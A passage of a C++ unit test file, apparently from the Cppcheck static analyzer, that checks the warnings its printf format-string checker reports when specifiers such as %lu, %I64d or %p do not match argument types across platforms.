long}'.\\n\", errout_str());\n\n check(\"void foo(size_t s, ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\", errout_str());\n\n check(\"void foo(std::size_t s, std::ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'std::ptrdiff_t {aka signed long}'.\\n\", errout_str());\n\n check(\"void foo(size_t s, ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'size_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'ptrdiff_t {aka signed long long}'.\\n\", errout_str());\n\n check(\"void foo(std::size_t s, std::ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'std::size_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'std::ptrdiff_t {aka signed long long}'.\\n\", errout_str());\n\n check(\"void foo(size_t s, uintmax_t um) {\\n\"\n \" printf(\\\"%lu\\\", s);\\n\"\n \" printf(\\\"%lu\\\", um);\\n\"\n \" printf(\\\"%llu\\\", s);\\n\"\n \" printf(\\\"%llu\\\", um);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'size_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:3]: (portability) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'uintmax_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:4]: (portability) %llu in format string (no. 1) requires 'unsigned long long' but the argument type is 'size_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:5]: (portability) %llu in format string (no. 1) requires 'unsigned long long' but the argument type is 'uintmax_t {aka unsigned long long}'.\\n\", errout_str());\n\n check(\"void foo(unsigned int i) {\\n\"\n \" printf(\\\"%ld\\\", i);\\n\"\n \" printf(\\\"%lld\\\", i);\\n\"\n \" printf(\\\"%lu\\\", i);\\n\"\n \" printf(\\\"%llu\\\", i);\\n\"\n \" printf(\\\"%lx\\\", i);\\n\"\n \" printf(\\\"%llx\\\", i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %ld in format string (no. 1) requires 'long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:3]: (warning) %lld in format string (no. 1) requires 'long long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:4]: (warning) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:5]: (warning) %llu in format string (no. 1) requires 'unsigned long long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:6]: (warning) %lx in format string (no. 1) requires 'unsigned long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:7]: (warning) %llx in format string (no. 1) requires 'unsigned long long' but the argument type is 'unsigned int'.\\n\", errout_str());\n\n check(\"void foo(int i, intmax_t im, ptrdiff_t p) {\\n\"\n \" printf(\\\"%lld\\\", i);\\n\"\n \" printf(\\\"%lld\\\", im);\\n\"\n \" printf(\\\"%lld\\\", p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %lld in format string (no. 1) requires 'long long' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"void foo(intmax_t im, ptrdiff_t p) {\\n\"\n \" printf(\\\"%lld\\\", im);\\n\"\n \" printf(\\\"%lld\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %lld in format string (no. 1) requires 'long long' but the argument type is 'intmax_t {aka signed long long}'.\\n\"\n \"[test.cpp:3]: (portability) %lld in format string (no. 1) requires 'long long' but the argument type is 'ptrdiff_t {aka signed long long}'.\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" double d;\\n\"\n \" struct Bar {\\n\"\n \" int i;\\n\"\n \" } bar[2];\\n\"\n \" struct Baz {\\n\"\n \" int i;\\n\"\n \" } baz;\\n\"\n \"};\\n\"\n \"int a[10];\\n\"\n \"Foo f[10];\\n\"\n \"void foo(const Foo* foo) {\\n\"\n \" printf(\\\"%d %f %f %d %f %f\\\",\\n\"\n \" foo->d, foo->bar[0].i, a[0],\\n\"\n \" f[0].d, f[0].baz.i, f[0].bar[0].i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:13]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'double'.\\n\"\n \"[test.cpp:13]: (warning) %f in format string (no. 2) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:13]: (warning) %f in format string (no. 3) requires 'double' but the argument type is 'int'.\\n\"\n \"[test.cpp:13]: (warning) %d in format string (no. 4) requires 'int' but the argument type is 'double'.\\n\"\n \"[test.cpp:13]: (warning) %f in format string (no. 5) requires 'double' but the argument type is 'int'.\\n\"\n \"[test.cpp:13]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'int'.\\n\", errout_str());\n\n check(\"short f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%d %u %lu %I64u %I64d %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 4) requires 'unsigned __int64' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 5) requires '__int64' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'signed short'.\\n\", errout_str());\n\n check(\"unsigned short f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%u %d %ld %I64d %I64u %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 4) requires '__int64' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 5) requires 'unsigned __int64' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'unsigned short'.\\n\", errout_str());\n\n check(\"int f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%d %u %lu %I64u %I64d %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 4) requires 'unsigned __int64' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 5) requires '__int64' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"unsigned int f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%u %d %ld %I64d %I64u %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 4) requires '__int64' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 5) requires 'unsigned __int64' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'unsigned int'.\\n\", errout_str());\n\n check(\"long f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%ld %u %lu %I64u %I64d %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 4) requires 'unsigned __int64' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 5) requires '__int64' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'signed long'.\\n\", errout_str());\n\n check(\"unsigned long f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%lu %d %ld %I64d %I64u %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 4) requires '__int64' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 5) requires 'unsigned __int64' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'unsigned long'.\\n\", errout_str());\n\n check(\"long long f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%lld %u %lu %I64u %I64d %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed long long'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed long long'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 4) requires 'unsigned __int64' but the argument type is 'signed long long'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'signed long long'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'signed long long'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'signed long long'.\\n\", errout_str());\n\n check(\"unsigned long long f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%llu %d %ld %I64d %I64u %f %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'unsigned long long'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'unsigned long long'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 4) requires '__int64' but the argument type is 'unsigned long long'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 6) requires 'double' but the argument type is 'unsigned long long'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 7) requires 'long double' but the argument type is 'unsigned long long'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 8) requires an address but the argument type is 'unsigned long long'.\\n\", errout_str());\n\n check(\"float f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%f %d %ld %u %lu %I64d %I64u %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'float'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'float'.\\n\"\n \"[test.cpp:2]: (warning) %u in format string (no. 4) requires 'unsigned int' but the argument type is 'float'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 5) requires 'unsigned long' but the argument type is 'float'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 6) requires '__int64' but the argument type is 'float'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 7) requires 'unsigned __int64' but the argument type is 'float'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 8) requires 'long double' but the argument type is 'float'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 9) requires an address but the argument type is 'float'.\\n\", errout_str());\n\n check(\"double f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%f %d %ld %u %lu %I64d %I64u %Lf %p\\\", f(), f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'double'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'double'.\\n\"\n \"[test.cpp:2]: (warning) %u in format string (no. 4) requires 'unsigned int' but the argument type is 'double'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 5) requires 'unsigned long' but the argument type is 'double'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 6) requires '__int64' but the argument type is 'double'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 7) requires 'unsigned __int64' but the argument type is 'double'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 8) requires 'long double' but the argument type is 'double'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 9) requires an address but the argument type is 'double'.\\n\", errout_str());\n\n check(\"long double f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%Lf %d %ld %u %lu %I64d %I64u %f %p\\\", f(), f(), f(), f(), f(), f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'long double'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'long double'.\\n\"\n \"[test.cpp:2]: (warning) %u in format string (no. 4) requires 'unsigned int' but the argument type is 'long double'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 5) requires 'unsigned long' but the argument type is 'long double'.\\n\"\n \"[test.cpp:2]: (warning) %I64d in format string (no. 6) requires '__int64' but the argument type is 'long double'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 7) requires 'unsigned __int64' but the argument type is 'long double'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 8) requires 'double' but the argument type is 'long double'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 9) requires an address but the argument type is 'long double'.\\n\", errout_str());\n\n check(\"int f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%I64d %I64u %I64x %d\\\", f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %I64d in format string (no. 1) requires '__int64' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %I64u in format string (no. 2) requires 'unsigned __int64' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %I64x in format string (no. 3) requires 'unsigned __int64' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"long long f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%I32d %I32u %I32x %lld\\\", f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %I32d in format string (no. 1) requires '__int32' but the argument type is 'signed long long'.\\n\"\n \"[test.cpp:2]: (warning) %I32u in format string (no. 2) requires 'unsigned __int32' but the argument type is 'signed long long'.\\n\"\n \"[test.cpp:2]: (warning) %I32x in format string (no. 3) requires 'unsigned __int32' but the argument type is 'signed long long'.\\n\", errout_str());\n\n check(\"unsigned long long f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%I32d %I32u %I32x %llx\\\", f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %I32d in format string (no. 1) requires '__int32' but the argument type is 'unsigned long long'.\\n\"\n \"[test.cpp:2]: (warning) %I32u in format string (no. 2) requires 'unsigned __int32' but the argument type is 'unsigned long long'.\\n\"\n \"[test.cpp:2]: (warning) %I32x in format string (no. 3) requires 'unsigned __int32' but the argument type is 'unsigned long long'.\\n\", errout_str());\n\n check(\"signed char f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%Id %Iu %Ix %hhi\\\", f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %Id in format string (no. 1) requires 'ptrdiff_t' but the argument type is 'signed char'.\\n\"\n \"[test.cpp:2]: (warning) %Iu in format string (no. 2) requires 'size_t' but the argument type is 'signed char'.\\n\"\n \"[test.cpp:2]: (warning) %Ix in format string (no. 3) requires 'size_t' but the argument type is 'signed char'.\\n\", errout_str());\n\n check(\"unsigned char f() { return 0; }\\n\"\n \"void foo() { printf(\\\"%Id %Iu %Ix %hho\\\", f(), f(), f(), f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %Id in format string (no. 1) requires 'ptrdiff_t' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:2]: (warning) %Iu in format string (no. 2) requires 'size_t' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:2]: (warning) %Ix in format string (no. 3) requires 'size_t' but the argument type is 'unsigned char'.\\n\", errout_str());\n\n check(\"namespace bar { int f() { return 0; } }\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", bar::f(), bar::f(), bar::f(), bar::f(), bar::f(), bar::f()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int i; } f;\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", f.i, f.i, f.i, f.i, f.i, f.i); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { unsigned int u; } f;\\n\"\n \"void foo() { printf(\\\"%u %d %ld %f %Lf %p\\\", f.u, f.u, f.u, f.u, f.u, f.u); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 6) requires an address but the argument type is 'unsigned int'.\\n\", errout_str());\n\n check(\"struct Fred { unsigned int ui() { return 0; } } f;\\n\"\n \"void foo() { printf(\\\"%u %d %ld %f %Lf %p\\\", f.ui(), f.ui(), f.ui(), f.ui(), f.ui(), f.ui()); }\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %p in format string (no. 6) requires an address but the argument type is 'unsigned int'.\\n\", errout_str());\n\n // #4975\n check(\"void f(int len, int newline) {\\n\"\n \" printf(\\\"%s\\\", newline ? a : str + len);\\n\"\n \" printf(\\\"%s\\\", newline + newline);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %s in format string (no. 1) requires 'char *' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int i; } f;\\n\"\n \"struct Fred & bar() { };\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", bar().i, bar().i, bar().i, bar().i, bar().i, bar().i); }\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int i; } f;\\n\"\n \"const struct Fred & bar() { };\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", bar().i, bar().i, bar().i, bar().i, bar().i, bar().i); }\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int i; } f;\\n\"\n \"static const struct Fred & bar() { };\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", bar().i, bar().i, bar().i, bar().i, bar().i, bar().i); }\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int i; } f[2];\\n\"\n \"struct Fred * bar() { return f; };\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i); }\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int i; } f[2];\\n\"\n \"const struct Fred * bar() { return f; };\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i); }\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int i; } f[2];\\n\"\n \"static const struct Fred * bar() { return f; };\\n\"\n \"void foo() { printf(\\\"%d %u %lu %f %Lf %p\\\", bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i, bar()[0].i); }\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %lu in format string (no. 3) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %Lf in format string (no. 5) requires 'long double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %p in format string (no. 6) requires an address but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Fred { int32_t i; } f;\\n\"\n \"struct Fred & bar() { };\\n\"\n \"void foo() { printf(\\\"%d %ld %u %lu %f %Lf\\\", bar().i, bar().i, bar().i, bar().i, bar().i, bar().i); }\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %ld in format string (no. 2) requires 'long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %u in format string (no. 3) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %lu in format string (no. 4) requires 'unsigned long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 5) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %Lf in format string (no. 6) requires 'long double' but the argument type is 'signed int'.\\n\",\n errout_str());\n\n // #4984\n check(\"void f(double *x) {\\n\"\n \" printf(\\\"%f\\\", x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int array[10];\\n\"\n \"int * foo() { return array; }\\n\"\n \"void f() {\\n\"\n \" printf(\\\"%f\\\", foo()[0]);\\n\"\n \"}\");\n 